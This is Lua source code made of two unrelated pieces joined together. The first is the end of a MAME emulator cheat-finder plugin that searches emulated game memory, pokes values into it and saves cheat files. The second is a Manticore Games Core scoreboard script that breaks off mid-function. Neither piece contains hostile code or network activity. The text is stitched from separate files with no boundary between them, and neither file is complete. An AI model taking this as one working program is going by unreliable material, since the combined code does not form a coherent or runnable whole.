function(a, b, val) return (a < b and val == 0) or (val > 0 and (a + val) == b) end, gt = function(a, b, val) return (a > b and val == 0) or (val > 0 and (a - val) == b) end, eq = function(a, b, val) return a == b end, ne = function(a, b, val) return (a ~= b and val == 0) or (val > 0 and ((a - val) == b or (a + val) == b)) end, ltv = function(a, b, val) return a < val end, gtv = function(a, b, val) return a > val end, eqv = function(a, b, val) return a == val end, nev = function(a, b, val) return a ~= val end } function cfoper.bne(a, b, val, addr) if type(val) ~= "table" then bitmask = a ~ b return bitmask ~= 0 elseif not val[addr] then return false else bitmask = (a ~ b) & val[addr] return bitmask ~= 0 end end function cfoper.beq(a, b, val, addr) if type(val) ~= "table" then bitmask = ~a ~ b return bitmask ~= 0 elseif not val[addr] then return false else bitmask = (~a ~ b) & val[addr] return bitmask ~= 0 end end local function check_bcd(val) local a = val + 0x0666666666666666 a = a ~ val return (a & 0x1111111111111110) == 0 end local function frombcd(val) local result = 0 local mul = 1 while val ~= 0 do result = result + ((val % 16) * mul) val = val >> 4 mul = mul * 10 end return result end if not newdata and oper:sub(3, 3) == "v" then newdata = olddata end if olddata.start ~= newdata.start or olddata.size ~= newdata.size or not cfoper[oper] then return {} end if not val then val = 0 end for i = 1, olddata.size, step do local oldstat, old = pcall(string.unpack, format, olddata.block, i) local newstat, new = pcall(string.unpack, format, newdata.block, i) if oldstat and newstat then local oldc, newc = old, new local comp = false local addr = i - 1 if olddata.shift ~= 0 then local s = olddata.shift addr = (s < 0) and addr >> -s or (s > 0) and addr << s end addr = addr + olddata.start if not bcd or (check_bcd(old) and check_bcd(new)) then if bcd then oldc = frombcd(old) newc = frombcd(new) end if cfoper[oper](newc, oldc, val, addr) then ret[#ret + 1] = { addr = addr, oldval = old, newval = new, bitmask = bitmask } ref[addr] = #ret end end end end return ret, ref end local function check_val(oper, val, matches) if oper ~= "beq" and oper ~= "bne" then return val elseif not matches or not matches[1].bitmask then return nil end local masks = {} for num, match in pairs(matches) do masks[match.addr] = match.bitmask end return masks end -- compare two blocks and filter by table of previous matches function cheat.compnext(newdata, olddata, oldmatch, oper, format, val, bcd, step) local matches, refs = cheat.comp(newdata, olddata, oper, format, check_val(oper, val, oldmatch), bcd, step) local nonmatch = {} local oldrefs = {} for num, match in pairs(oldmatch) do oldrefs[match.addr] = num end for addr, ref in pairs(refs) do if not oldrefs[addr] then nonmatch[ref] = true refs[addr] = nil else matches[ref].oldval = oldmatch[oldrefs[addr]].oldval end end local resort = {} for num, match in pairs(matches) do if not nonmatch[num] then resort[#resort + 1] = match end end return resort end -- compare a data block to the current state function cheat.compcur(olddata, oper, format, val, bcd, step) local newdata = cheat.save(olddata.space, olddata.start, olddata.size, olddata.space) return cheat.comp(newdata, olddata, oper, format, val, bcd, step) end -- compare a data block to the current state and filter function cheat.compcurnext(olddata, oldmatch, oper, format, val, bcd, step) local newdata = cheat.save(olddata.space, olddata.start, olddata.size, olddata.space) return cheat.compnext(newdata, olddata, oldmatch, oper, format, val, bcd, step) end _G.emu.plugin.cheatfind = cheat local devtable = {} local devsel = 1 local devcur = 1 local formname = { "u8", "big u16", "big u32", "big u64", "little u16", "little u32", "little u64", "s8", "big s16", "big s32", "big s64", "little s16", "little s32", "little s64", } local formtable = { " I1", ">I2", ">I4", ">I8", "<I2", "<I4", "<I8", " i1", ">i2", ">i4", ">i8", "<i2", "<i4", "<i8", } -- " <f", " >f", " <d", " >d" } local width = 1 local bcd = 0 local align = 0 local optable = { "lt", "gt", "eq", "ne", "beq", "bne", "ltv", "gtv", "eqv", "nev" } local opsel = 1 local value = 0 local leftop = 1 local rightop = 1 local value_text = "" local pausesel = 1 local pokevalsel = 1 local matches = {} local matchsel = 0 local matchpg = 0 local menu_blocks = {} local watches = {} local menu_func local cheat_save local name = 1 local name_player = 1 local name_type = 1 local name_other = "" local function start() devtable = {} devsel = 1 devcur = 1 width = 1 bcd = 0 opsel = 1 value = 0 leftop = 1 rightop = 1 matches = {} matchsel = 0 matchpg = 0 menu_blocks = {} watches = {} local space_table = cheat.getspaces() for tag, list in pairs(space_table) do for name, space in pairs(list) do local ram = {} for num, entry in pairs(space.map.entries) do if entry.write.handlertype == "ram" then ram[#ram + 1] = { offset = entry.address_start & space.address_mask, size = (entry.address_end & space.address_mask) - (entry.address_start & space.address_mask) } if space.shift > 0 then ram[#ram].size = ram[#ram].size >> space.shift elseif space.shift < 0 then ram[#ram].size = ram[#ram].size << -space.shift end end end if next(ram) then if tag == ":maincpu" and name == "program" then table.insert(devtable, 1, { name = tag .. ", " .. name, tag = tag, sname = name, space = space, ram = ram }) else devtable[#devtable + 1] = { name = tag .. ", " .. name, tag = tag, sname = name, space = space, ram = ram } end end end end space_table = cheat.getram() for tag, ram in pairs(space_table) do devtable[#devtable + 1] = { tag = tag, name = "ram", space = ram.dev, ram = {{ offset = 0, size = ram.size }} } end space_table = cheat.getshares() for tag, share in pairs(space_table) do devtable[#devtable + 1] = { tag = tag, name = tag, space = share, ram = {{ offset = 0, size = share.size }} } end end emu.register_start(start) local menu_is_showing = false local tabbed_out = false local function menu_populate() if pausesel == 1 then emu.pause() menu_is_showing = true end local menu = {} local function menu_prepare() local menu_list = {} menu_func = {} for num, func in ipairs(menu) do local item, f = func() if item then menu_list[#menu_list + 1] = item menu_func[#menu_list] = f end end return menu_list end local function menu_lim(val, min, max, menuitem) if min == max then menuitem[3] = "on" elseif val == min then menuitem[3] = "r" elseif val == max then menuitem[3] = "l" else menuitem[3] = "lr" end end local function incdec(event, val, min, max) local ret = false if event == "left" and val ~= min then val = val - 1 ret = true elseif event == "right" and val ~= max then val = val + 1 ret = true end return val, ret end if cheat_save then local cplayer = { "All", "P1", "P2", "P3", "P4" } local ctype = { "Infinite Credits", "Infinite Time", "Infinite Lives", "Infinite Energy", "Infinite Ammo", "Infinite Bombs", "Invincibility", _("Other: ") } menu[#menu + 1] = function() return { _("Save Cheat"), "", "off" }, nil end menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local c = { _("Default"), _("Custom") } local m = { _("Cheat Name"), c[name], "on" } menu_lim(name, 1, #c, m) local function f(event) local r name, r = incdec(event, name, 1, #c) if (event == "select" or event == "comment") and name == 1 then manager.machine:popmessage(string.format(_("Default name is %s"), cheat_save.name)) end return r end return m, f end if name == 2 then menu[#menu + 1] = function() local m = { _("Player"), cplayer[name_player], "on" } menu_lim(name_player, 1, #cplayer, m) return m, function(event) local r name_player, r = incdec(event, name_player, 1, #cplayer) return r end end menu[#menu + 1] = function() local m = { _("Type"), ctype[name_type] .. (name_type == #ctype and (#name_other ~= 0 and name_other or _("(empty)")) or ""), "on" } menu_lim(name_type, 1, #ctype, m) local function f(event) local r name_type, r = incdec(event, name_type, 1, #ctype) if name_type == #ctype then local char = tonumber(event) if char then if #name_other > 0 and (char == 8 or char == 0x7f) then name_other = name_other:sub(1, utf8.offset(name_other, -1) - 1) r = true elseif char > 0x1f and (char & ~0x7f) ~= 0x80 and (char & ~0xf) ~= 0xfdd0 and (char & ~0xfffe) ~= 0xfffe then name_other = name_other .. utf8.char(char) r = true end elseif event == "select" or event == "comment" or event == "right" then manager.machine:popmessage(_("You can enter any type name")) end end return r end return m, f end end menu[#menu + 1] = function() local m = { _("Save"), "", "on" } local function f(event) if event == "select" then local desc local written = false if name == 2 then desc = name_type ~= #ctype and ctype[name_type] or name_other if #desc == 0 then manager.machine:popmessage(_("Type name is empty")) return end if cplayer[name_player] ~= "All" then desc = cplayer[name_player] .. " " .. desc end else desc = cheat_save.name end local filename = cheat_save.filename .. "_" .. desc local file = io.open(filename .. ".json", "w") if file then file:write(string.format(cheat_save.json, desc)) file:close() -- xml or simple are program space only if not getmetatable(devtable[devcur].space).__name:match("device_t") and devtable[devcur].sname == "program" then file = io.open(filename .. ".xml", "w") file:write(string.format(cheat_save.xml, desc)) file:close() file = io.open(cheat_save.path .. "/cheat.simple", "a") file:write(string.format(cheat_save.simple, desc)) -- old cheat .dat format, write support only (for cheat forum posting of new cheats if posted in simple format) file:write(string.format(cheat_save.dat, desc)) file:close() manager.machine:popmessage(string.format(_("Cheat written to %s and added to cheat.simple"), filename)) end written = true elseif not getmetatable(devtable[devcur].space).__name:match("device_t") and devtable[devcur].sname == "program" then file = io.open(cheat_save.path .. "/cheat.simple", "a") if file then file:write(string.format(cheat_save.simple, desc)) -- old cheat .dat format, write support only (for cheat forum posting of new cheats if posted in simple format) file:write(string.format(cheat_save.dat, desc)) file:close() manager.machine:popmessage(_("Cheat added to cheat.simple")) written = true end end if not written then manager.machine:popmessage(_("Unable to write file\nEnsure that cheatpath folder exists")) end cheat_save = nil return true end return false end return m, f end menu[#menu + 1] = function() return { _("Cancel"), "", "on" }, function(event) if event == "select" then cheat_save = nil return true end end end return menu_prepare() end menu[#menu + 1] = function() local m = { _("CPU or RAM"), devtable[devsel].name, "on" } menu_lim(devsel, 1, #devtable, m) local function f(event) if (event == "left" or event == "right") and #menu_blocks ~= 0 then manager.machine:popmessage(_("Changes to this only take effect when \"Start new search\" is selected")) end local r devsel, r = incdec(event, devsel, 1, #devtable) return r end return m, f end menu[#menu + 1] = function() local pausetable = { _("Automatic"), _("Manual") } local m = { _("Pause Mode"), pausetable[pausesel], "on" } menu_lim(pausesel, 1, pausetable, m) local function f(event) if (event == "left" or event == "right") then if pausesel == 1 then pausesel = 2 menu_is_showing = false manager.machine:popmessage(_("Manually toggle pause when needed")) else pausesel = 1 manager.machine:popmessage(_("Automatically toggle pause with on-screen menus")) emu.pause() end return true end return false end return m, f end menu[#menu + 1] = function() local function f(event) local ret = false if event == "select" then menu_blocks = {} matches = {} devcur = devsel for num, region in ipairs(devtable[devcur].ram) do menu_blocks[num] = {} menu_blocks[num][1] = cheat.save(devtable[devcur].space, region.offset, region.size) end manager.machine:popmessage(_("All slots cleared and current state saved to Slot 1")) watches = {} opsel = 1 value = 0 leftop = 1 rightop = 1 value_text = "" matchsel = 0 return true end end local opsel = 1 return { _("Start new search"), "", "on" }, f end if #menu_blocks ~= 0 then menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local function f(event) if event == "select" then for num, region in ipairs(devtable[devcur].ram) do menu_blocks[num][#menu_blocks[num] + 1] = cheat.save(devtable[devcur].space, region.offset, region.size) end manager.machine:popmessage(string.format(_("Memory state saved to Slot %d"), #menu_blocks[1])) if (leftop == #menu_blocks[1] - 1 and rightop == #menu_blocks[1] - 2 ) then leftop = #menu_blocks[1] rightop = #menu_blocks[1]-1 elseif (leftop == #menu_blocks[1] - 2 and rightop == #menu_blocks[1] - 1 ) then leftop = #menu_blocks[1]-1 rightop = #menu_blocks[1] elseif (leftop == #menu_blocks[1] - 1 ) then leftop = #menu_blocks[1] elseif (rightop == #menu_blocks[1] - 1) then rightop = #menu_blocks[1] end devsel = devcur return true end return false end return { string.format(_("Save current memory state to Slot %d"), #menu_blocks[1] + 1), "", "on" }, f end menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local function f(event) if event == "select" then local count = 0 local step = align == 1 and formtable[width]:sub(3, 3) or "1" if step == "f" then step = 4 elseif step == "d" then step = 8 else step = tonumber(step) end if #matches == 0 then matches[1] = {} for num = 1, #menu_blocks do matches[1][num] = cheat.comp(menu_blocks[num][leftop], menu_blocks[num][rightop], optable[opsel], formtable[width], value, bcd == 1, step) count = count + #matches[1][num] end else lastmatch = matches[#matches] matches[#matches + 1] = {} for num = 1, #menu_blocks do matches[#matches][num] = cheat.compnext(menu_blocks[num][leftop], menu_blocks[num][rightop], lastmatch[num], optable[opsel], formtable[width], value, bcd == 1, step) count = count + #matches[#matches][num] end end manager.machine:popmessage(string.format(_("%d total matches found"), count)) matches[#matches].count = count matchpg = 0 devsel = devcur return true end return false end local slot_slot_comp = _("Perform Compare : Slot %d %s Slot %d") local slot_slot_val_comp = _("Perform Compare : Slot %d %s Slot %d %s %d") local slot_slot_bit_comp = _("Perform Compare : Slot %d BITWISE%s Slot %d") local slot_val_comp = _("Perform Compare : Slot %d %s %d") local expression_text if optable[opsel] == "lt" then if (value == 0 ) then expression_text = string.format(slot_slot_comp, leftop, "<", rightop) else expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "-", value) end elseif optable[opsel] == "gt" then if (value == 0 ) then expression_text = string.format(slot_slot_comp, leftop, ">", rightop) else expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "+", value) end elseif optable[opsel] == "eq" then expression_text = string.format(slot_slot_comp, leftop, "==", rightop) elseif optable[opsel] == "ne" then if (value == 0 ) then expression_text = string.format(slot_slot_comp, leftop, "!=", rightop) else expression_text = string.format(slot_slot_val_comp, leftop, "==", rightop, "+/-", value) end elseif optable[opsel] == "beq" then expression_text = string.format(slot_slot_bit_comp, leftop, "==", rightop) elseif optable[opsel] == "bne" then expression_text = string.format(slot_slot_bit_comp, leftop, "!=", rightop) elseif optable[opsel] == "ltv" then expression_text = string.format(slot_val_comp, leftop, "<", value) elseif optable[opsel] == "gtv" then expression_text = string.format(slot_val_comp, leftop, ">", value) elseif optable[opsel] == "eqv" then expression_text = string.format(slot_val_comp, leftop, "==", value) elseif optable[opsel] == "nev" then expression_text = string.format(slot_val_comp, leftop, "!=", value) end return { expression_text, "", "on" }, f end menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local m = { string.format("%d", leftop), "", "on" } menu_lim(leftop, 1, #menu_blocks[1], m) m[1] = string.format(_("Slot %d"), leftop) return m, function(event) local r leftop, r = incdec(event, leftop, 1, #menu_blocks[1]) return r end end menu[#menu + 1] = function() local m = { _(optable[opsel]), "", "on" } menu_lim(opsel, 1, #optable, m) local function f(event) local r opsel, r = incdec(event, opsel, 1, #optable) if event == "left" or event == "right" or event == "comment" then if optable[opsel] == "lt" then manager.machine:popmessage(_("Left less than right")) elseif optable[opsel] == "gt" then manager.machine:popmessage(_("Left greater than right")) elseif optable[opsel] == "eq" then manager.machine:popmessage(_("Left equal to right")) elseif optable[opsel] == "ne" then manager.machine:popmessage(_("Left not equal to right")) elseif optable[opsel] == "beq" then manager.machine:popmessage(_("Left equal to right with bitmask")) elseif optable[opsel] == "bne" then manager.machine:popmessage(_("Left not equal to right with bitmask")) elseif optable[opsel] == "ltv" then manager.machine:popmessage(_("Left less than value")) elseif optable[opsel] == "gtv" then manager.machine:popmessage(_("Left greater than value")) elseif optable[opsel] == "eqv" then manager.machine:popmessage(_("Left equal to value")) elseif optable[opsel] == "nev" then manager.machine:popmessage(_("Left not equal to value")) end end return r end return m, f end menu[#menu + 1] = function() if optable[opsel]:sub(3, 3) == "v" then return nil end local m = { string.format("%d", rightop), "", "on" } menu_lim(rightop, 1, #menu_blocks[1], m) m[1] = string.format(_("Slot %d"), rightop) return m, function(event) local r rightop, r = incdec(event, rightop, 1, #menu_blocks[1]) return r end end menu[#menu + 1] = function() if optable[opsel] == "bne" or optable[opsel] == "beq" or optable[opsel] == "eq" then return nil end local m if optable[opsel] == "ltv" or optable[opsel] == "gtv" or optable[opsel] == "eqv" or optable[opsel] == "nev" then m = { _("Value"), value, "" } else m = { _("Difference"), value, "" } end local max = 100 -- max value? menu_lim(value, 0, max, m) if value == 0 and optable[opsel]:sub(3, 3) ~= "v" then m[2] = _("Any") end return m, function(event) local r value, r = incdec(event, value, 0, max) return r end end menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local m = { _("Data Format"), formname[width], "on" } menu_lim(width, 1, #formtable, m) return m, function(event) local r width, r = incdec(event, width, 1, #formtable) return r end end menu[#menu + 1] = function() local pokevaltable = { _("Slot 1 Value"), _("Last Slot Value"), "0x00", "0x01", "0x02", "0x03", "0x04", "0x05", "0x06", "0x07", "0x08", "0x09", "0x63 (99)", "0x99", "0xFF (255)" , "0x3E7 (999)", "0x999", "0x270F (9999)", "0x9999", "0xFFFF (65535)" } local m = { _("Test/Write Poke Value"), pokevaltable[pokevalsel], "on" } menu_lim(pokevalsel, 1, #pokevaltable, m) local function f(event) local r pokevalsel, r = incdec(event, pokevalsel, 1, #pokevaltable) if event == "left" or event == "right" or event == "comment" then if pokevalsel == 1 then manager.machine:popmessage(_("Use this if you want to poke the Slot 1 value (eg. You started with something but lost it)")) elseif pokevalsel == 2 then manager.machine:popmessage(_("Use this if you want to poke the Last Slot value (eg. You started without an item but finally got it)")) else manager.machine:popmessage(string.format(_("Use this if you want to poke %s"), pokevaltable[pokevalsel])) end end return r end return m, f end menu[#menu + 1] = function() if optable[opsel] == "bne" or optable[opsel] == "beq" then return nil end local m = { "BCD", _("Off"), "on" } menu_lim(bcd, 0, 1, m) if bcd == 1 then m[2] = _("On") end return m, function(event) local r bcd, r = incdec(event, bcd, 0, 1) return r end end menu[#menu + 1] = function() if formtable[width]:sub(3, 3) == "1" then return nil end local m = { _("Aligned only"), _("Off"), "on" } menu_lim(align, 0, 1, m) if align == 1 then m[2] = _("On") end return m, function(event) local r align, r = incdec(event, align, 0, 1) return r end end if #matches ~= 0 then menu[#menu + 1] = function() local function f(event) if event == "select" then matches[#matches] = nil matchpg = 0 return true end return false end return { _("Undo last search -- #") .. #matches, "", "on" }, f end menu[#menu + 1] = function() return { "---", "", "off" }, nil end menu[#menu + 1] = function() local m = { _("Match block"), matchsel, "" } menu_lim(matchsel, 0, #matches[#matches], m) if matchsel == 0 then m[2] = _("All") end local function f(event) local r matchsel, r = incdec(event, matchsel, 0, #matches[#matches]) if r then matchpg = 0 end return r end return m, f end local function mpairs(sel, list, start) if #list == 0 then return function() end, nil, nil end if sel ~= 0 then list = {list[sel]} end local function mpairs_it(list, i) local match i = i + 1 local sel = i + start for j = 1, #list do if sel <= #list[j] then match = list[j][sel] break else sel = sel - #list[j] end end if not match then return end return i, match end return mpairs_it, list, 0 end local bitwidth = formtable[width]:sub(3, 3) if bitwidth == "2" then bitwidth = " %04x" elseif bitwidth == "4" then bitwidth = " %08x" elseif bitwidth == "8" then bitwidth = " %016x" elseif bitwidth == "f" or bitwidth == "d" then bitwidth = " %010f" else bitwidth = " %02x" end local function match_exec(match) local dev = devtable[devcur] local wid = formtable[width]:sub(3, 3) local widchar local pokevalue local form if pokevalsel == 1 then pokevalue = match.oldval elseif pokevalsel == 2 then pokevalue = match.newval elseif pokevalsel == 3 then pokevalue = 0 elseif pokevalsel == 4 then pokevalue = 1 elseif pokevalsel == 5 then pokevalue = 2 elseif pokevalsel == 6 then pokevalue = 3 elseif pokevalsel == 7 then pokevalue = 4 elseif pokevalsel == 8 then pokevalue = 5 elseif pokevalsel == 9 then pokevalue = 6 elseif pokevalsel == 10 then pokevalue = 7 elseif pokevalsel == 11 then pokevalue = 8 elseif pokevalsel == 12 then pokevalue = 9 elseif pokevalsel == 13 then pokevalue = 99 elseif pokevalsel == 14 then pokevalue = 153 elseif pokevalsel == 15 then pokevalue = 255 elseif pokevalsel == 16 and wid == "1" then pokevalue = 99 elseif pokevalsel == 17 and wid == "1" then pokevalue = 153 elseif pokevalsel == 18 and wid == "1" then pokevalue = 99 elseif pokevalsel == 19 and wid == "1" then pokevalue = 153 elseif pokevalsel == 20 and wid == "1" then pokevalue = 255 elseif pokevalsel == 16 then pokevalue = 999 elseif pokevalsel == 17 then pokevalue = 2457 elseif pokevalsel == 18 then pokevalue = 9999 elseif pokevalsel == 19 then pokevalue = 39321 elseif pokevalsel == 20 then pokevalue = 65535 end local cheat = { desc = string.format(_("Test Cheat %08X_%02X"), match.addr, pokevalue), script = {} } if wid == "2" then wid = "u16" form = "%08x %04x" widchar = "w" elseif wid == "4" then wid = "u32" form = "%08x %08x" widchar = "d" elseif wid == "8" then wid = "u64" form = "%08x %016x" widchar = "q" elseif wid == "f" then wid = "u32" form = "%08x %f" widchar = "d" elseif wid == "d" then wid = "u64" form = "%08x %f" widchar = "q" else wid = "u8" form = "%08x %02x" widchar = "b" end if getmetatable(dev.space).__name:match("device_t") then cheat.ram = { ram = dev.tag } cheat.script.run = "ram:write(" .. match.addr .. "," .. pokevalue .. ")" elseif getmetatable(dev.space).__name:match("memory_share") then cheat.share = { share = dev.tag } cheat.script.run = "share:write_" .. wid .. "(" .. match.addr .. "," .. pokevalue .. ")" else cheat.space = { cpu = { tag = dev.tag, type = dev.sname } } cheat.script.run = "cpu:write_" .. wid .. "(" .. match.addr .. "," .. pokevalue .. ")" end if match.mode == 1 then if not emu.plugin.cheat then manager.machine:popmessage(_("Cheat engine not available")) else emu.plugin.cheat.inject(cheat) end elseif match.mode == 2 then cheat_save = {} menu = 1 menu_player = 1 menu_type = 1 local setname = emu.romname() if emu.softname() ~= "" then if emu.softname():find(":") then setname = emu.softname():gsub(":", "/") else for name, image in pairs(manager.machine.images) do if image.exists and image.software_list_name ~= "" then setname = image.software_list_name .. "/" .. emu.softname() end end end end cheat_save.path = emu.subst_env(manager.machine.options.entries.cheatpath:value()):match("([^;]+)") cheat_save.filename = string.format("%s/%s", cheat_save.path, setname) cheat_save.name = cheat.desc local json = require("json") cheat.desc = "%s" cheat_save.json = json.stringify({[1] = cheat}, {indent = true}) cheat_save.xml = string.format("<mamecheat version=\"1\">\n <cheat desc=\"%%s\">\n <script state=\"run\">\n <action>%s.pp%s@%X=%X</action>\n </script>\n </cheat>\n</mamecheat>", dev.tag:sub(2), widchar, match.addr, match.newval) cheat_save.simple = string.format("%s,%s,%X,%s,%X,%%s\n", setname, dev.tag, match.addr, widchar, pokevalue) cheat_save.dat = string.format(":%s:40000000:%X:%08X:FFFFFFFF:%%s\n", setname, match.addr, pokevalue) manager.machine:popmessage(string.format(_("Default name is %s"), cheat_save.name)) return true else local func = "return space:read" local env = {} if not getmetatable(dev.space).__name:match("device_t") then env.space = devtable[devcur].space; func = func .. "_" .. wid else env.space = emu.item(dev.space.items["0/m_pointer"]) end func = func .. "(" .. match.addr .. ")" watches[#watches + 1] = { addr = match.addr, func = load(func, func, "t", env), format = form } return true end return false end for num2, match in mpairs(matchsel, matches[#matches], matchpg * 100) do if num2 > 100 then break end menu[#menu + 1] = function() if not match.mode then match.mode = 1 end local modes = { _("Test"), _("Write"), _("Watch") } local m = { string.format("%08x" .. bitwidth .. bitwidth, match.addr, match.oldval, match.newval), modes[match.mode], "on" } menu_lim(match.mode, 1, #modes, m) local function f(event) local r match.mode, r = incdec(event, match.mode, 1, 3) if event == "select" then r = match_exec(match) end return r end return m, f end end if matches[#matches].count > 100 then menu[#menu + 1] = function() local m = { _("Page"), matchpg, "on" } local max if matchsel == 0 then max = math.ceil(matches[#matches].count / 100) - 1 else max = #matches[#matches][matchsel] end menu_lim(matchpg, 0, max, m) local function f(event) local r matchpg, r = incdec(event, matchpg, 0, max) return r end return m, f end end end if #watches ~= 0 then menu[#menu + 1] = function() return { _("Clear Watches"), "", "on" }, function(event) if event == "select" then watches = {} return true end end end end end return menu_prepare() end local function menu_callback(index, event) if event == "cancel" and pausesel == 1 then emu.unpause() menu_is_showing = false return false -- return false so menu will be popped off the stack end return menu_func[index](event) end emu.register_menu(menu_callback, menu_populate, _("Cheat Finder")) emu.register_frame_done(function () local screen = manager.machine.render.ui_container local height = mame_manager.ui.line_height for num, watch in ipairs(watches) do screen:draw_text("left", num * height, string.format(watch.format, watch.addr, watch.func())) end if tabbed_out and manager.ui.menu_active then emu.pause() menu_is_showing = true tabbed_out = false end end) emu.register_periodic(function () if menu_is_showing and not manager.ui.menu_active then emu.unpause() menu_is_showing = false tabbed_out = true end end) end return exports
--[[ Copyright 2019 Manticore Games, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --]] local CONST = require(script:GetCustomProperty("MetaAbilityProgressionConstants_API")) local ABGS = require(script:GetCustomProperty("ABGS")) local PLAYER_TITLES = require(script:GetCustomProperty("PlayerTitles")) -- Internal custom properties local COMPONENT_ROOT = script:GetCustomProperty("ComponentRoot"):WaitForObject() local HEADER = script:GetCustomProperty("Header"):WaitForObject() local TEAM_NAME = HEADER:GetCustomProperty("TeamName"):WaitForObject() local PANEL = script:GetCustomProperty("Panel"):WaitForObject() local LINE_TEMPLATE = script:GetCustomProperty("LineTemplate") -- User exposed properties local BINDING = COMPONENT_ROOT:GetCustomProperty("Binding") local SHOW_AT_ROUND_END = COMPONENT_ROOT:GetCustomProperty("ShowAtRoundEnd") local ROUND_END_DURATION = COMPONENT_ROOT:GetCustomProperty("RoundEndDuration") -- Check user properties if SHOW_AT_ROUND_END and ROUND_END_DURATION <= 0.0 then warn("RoundEndDuration must be positive") ROUND_END_DURATION = 5.0 end -- Constants local LOCAL_PLAYER = Game.GetLocalPlayer() local FRIENDLY_COLOR = Color.New(0.0, 0.25, 1.0) local ENEMY_COLOR = Color.New(1.0, 0.0, 0.0) -- Wait for team colors while not _G.TeamColors do Task.Wait() end -- Variables local headerLine = nil local playerLines = {} local atRoundEnd = false local atPlayerShowcase local roundEndTime = 0.0 local bindingDown = false local localPlayerTitle = PLAYER_TITLES.GetPlayerTitle(LOCAL_PLAYER) function OnTeamVictory(messsage) if messsage == "" then return end TEAM_NAME.text = messsage TEAM_NAME:GetChildren()[1].text = messsage HEADER.visibility = Visibility.INHERIT end -- nil OnBindingPressed(Player, string) -- Keep track of the binding state to show the scoreboard function OnBindingPressed(player, binding) if binding == BINDING then local currentState = ABGS.GetGameState() if currentState == ABGS.GAME_STATE_PLAYER_SHOWCASE then return end bindingDown = true end end -- nil OnBindingReleased(Player, string) -- Keep track of the binding state to show the scoreboard function OnBindingReleased(player, binding) if binding == BINDING then bindingDown = false end end -- nil OnPlayerJoined(Player) -- Add a line to the scoreboard when a player joins function OnPlayerJoined(player) local newLine = World.SpawnAsset(LINE_TEMPLATE, {parent = PANEL}) newLine.y = 26.5 * (#playerLines + 1) table.insert(playerLines, newLine) end -- nil OnPlayerLeft(Player) -- Remove a line when a player leaves function OnPlayerLeft(player) playerLines[#playerLines]:Destroy() playerLines[#playerLines] = nil end -- nil OnRoundEnd() -- Handles showing the scoreboard if ShowAtRoundEnd is selected function OnRoundEnd() roundEndTime = time() atRoundEnd = true end function OnGameStateChanged(oldState, newState) if newState == ABGS.GAME_STATE_ROUND_END then atRoundEnd = true elseif newState == ABGS.GAME_STATE_PLAYER_SHOWCASE then HEADER.visibility = Visibility.FORCE_OFF atRoundEnd = false atPlayerShowcase = true Task.Wait() PANEL.visibility = Visibility.FORCE_OFF else atRoundEnd = false atPlayerShowcase = false end end -- bool ComparePlayers(Player, Player) -- Comparing function that sets the sorting order function ComparePlayers(player1, player2) -- First sort by team if player1.team ~= player2.team then return player1.team < player2.team end -- Second we use kills if player1.kills ~= player2.kills then return player1.kills > player2.kills end -- Third we use deaths if player1.deaths ~= player2.deaths then return player1.deaths < player2.deaths end -- Use name to ensure consistent order for players that are tied return player1.name < player2.name end -- nil Tick(float) -- Update visibility and displayed information function Tick(deltaTime) if bindingDown or atRoundEnd then PANEL.visibility = Visibility.INHERIT elseif not atPlayerShowcase then PANEL.visibility = Visibility.FORCE_OFF end if PANEL.visibility == Visibility.INHERIT then local players = Game.GetPlayers() table.sort(players, ComparePlayers) for i, player in ipairs(players) do local line = playerLines[i] local RES = CONST.COMBAT_STATS --line:GetCustomProperty("PlayerImage"):WaitForObject():SetImage(player) local nameText = line:GetCustomProperty("Name"):WaitForObject() nameText.text = player.name if player:GetResource(CONST.VIP_MEMBERSHIP_KEY) == 1 then nameText.x = 145 line:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_ON else nameText.x = 120 line:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_OFF end while not _G["Class.Progression"] do Task.Wait() end line:GetCustomProperty("Level"):WaitForObject().text = tostring(_G["Class.Progression"].GetCurrentClassLevel(player)) if player == LOCAL_PLAYER then line:GetCustomProperty("Name"):WaitForObject():SetColor(_G.TeamColors[3]) else line:GetCustomProperty("Name"):WaitForObject():SetColor(_G.TeamColors[player.team]) end line:GetCustomProperty("KillsText"):WaitForObject().text = tostring(player.kills) line:GetCustomProperty("DeathsText"):WaitForObject().text = tostring(player.deaths) line:GetCustomProperty("UltKills"):WaitForObject().text = tostring(player:GetResource(RES.ASSIST_KILLS)) line:GetCustomProperty("CapturePoints"):WaitForObject().text = tostring(player:GetResource(RES.TOTAL_CAPTURE_POINTS) + player:GetResource(RES.CAPTURE_ASSISTS)) line:GetCustomProperty("Damage"):WaitForObject().text = tostring(player:GetResource(RES.TOTAL_DAMAGE_RES)) line:GetCustomProperty("Healing"):WaitForObject().text = tostring(player:GetResource(RES.TOTAL_HEALING_RES)) line:GetCustomProperty("Killstreak"):WaitForObject().text = tostring(player:GetResource(RES.LARGEST_KILL_STREAK)) local title = PLAYER_TITLES.GetPlayerTitle(player) local TitleImage = line:GetCustomProperty("TitleImage"):WaitForObject() local PlayerImage = line:GetCustomProperty("PlayerImage"):WaitForObject() PlayerImage:SetImage(player) if title and title.icon then TitleImage:SetImage(title.icon or "") 